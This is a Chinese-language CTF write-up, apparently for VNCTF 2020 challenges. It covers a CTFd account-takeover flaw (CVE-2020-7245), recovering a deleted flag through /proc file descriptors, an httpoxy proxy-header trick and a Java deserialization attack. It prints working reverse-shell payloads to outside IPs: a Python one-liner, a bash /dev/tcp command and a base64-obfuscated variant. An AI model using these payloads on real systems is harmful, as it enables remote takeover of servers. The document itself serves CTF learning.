CVE-2020-7245
https://nvd.nist.gov/vuln/detail/CVE-2020-7245
https://www.colabug.com/2020/0204/6940556/
开始以为是注入,尝试了好一会无从下手,然后看wp知道是cve。。。https://www.zhaoj.in/read-6407.html
注册一个 admin用户 邮箱要填buu内网的,不然后面改不了密码
然后登录界面点忘记密码
邮箱会有重置密码的邮件,点击链接,重置密码
这时候就把真正admin的密码改了,但登录之前要先把直接注册的账号修改用户名
登录admin账户,点击右上角的Admin Panel,在题目的files找到,下载打开就是了
/shell 能执行系统命令,但没有回显,但在这之前会删除flag.txt, 但由于程序在最开始打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况;;pid就是进程记录的打开文件的序号;;
首先尝试反弹一个shell
shell?c=/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.175.38",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
反正都是嫖来的,改一下IP 端口 能用就行
cat /proc/*/fd/*
满足success===true,就回显flag 先?phpinfo=1 查看phpinfo
根据https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy,https://www.anquanke.com/post/id/84227,https://www.laruence.com/2016/07/19/3101.html
在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv("HTTP_PROXY")就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址
在buu Linux靶机上新建一个文件index.php(可以通过ip:port直接访问),输出的内容其实就是{"success":true}
php -S 0:5000 使用php CLI SAPI 提供的内置的Web服务器,端口不一定要5000
然后bp添加一下头部,就搞定了
如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现。
Tools类中有readObjec,如果我们构造一个Tools类,反序列化的时候,readObject会被自动调用,然后读到的obj会被强制类型转换为String[],达到命令执行。重写Tools类中writeObject,用Main生成payload。
具体步骤请参考
https://mp.weixin.qq.com/s/KFgBbi2LgKhOKMDjfybl2A
https://www.zhaoj.in/read-6407.html
http://cjm00n.top/CTF/vnctf-2020-writeup.html
补
war包是zip压缩,直接zip解压 ,然后用jd-gui打开
把com文件夹的内容反编译导出后拖到idea
第一次访问时会序列化一个新的 ClientInfo 对象,用户名 Anonymous 用户组 normal,然后 base64 之后存入 cinfo cookie。
如果这个cinfo的cookie存在,则调用Tools.parse(bytes);
直接readObject,进行反序列化操作
有个任意文件读取,需要用户名为 admin 用户组为 webmanager。(实际操作没有权限读flag文件), 还有个任意位置文件上传也是权限不足
尝试反序列化 Tools 类,其中有一个命令执行点,使其读取成员变量的时候使用这个方法来处理。
Tools.java添加
private String[] getTestCall() {
return testCall;
}
public void setTestCall(String[] testCall) {
this.testCall = testCall;
}
新建一个Main.java文件
public class Main {
public static void main(String args[]) throws Exception {
Base64.Encoder encoder = Base64.getEncoder();
Tools tools = new Tools();
String commands[]={"bash","-c","bash -i>& /dev/tcp/174.1.193.10/1234 0>&1"};
tools.setTestCall(commands);
byte[] obj = Tools.create(tools);
System.out.println(encoder.encodeToString(obj));
}
}
修改cookie,刷新页面
ls /
/readflag
也可重写writeObject方法将命令写入
private void writeObject(ObjectOutputStream out) throws IOException {
// bash -i >& /dev/tcp/6254-1d6655ea-8099-4538-b2e5-27e149876010/1234 0>&1
out.writeObject((new String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MjU0LTFkNjY1NWVhLTgwOTktNDUzOC1iMmU1LTI3ZTE0OTg3NjAxMC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"}));
}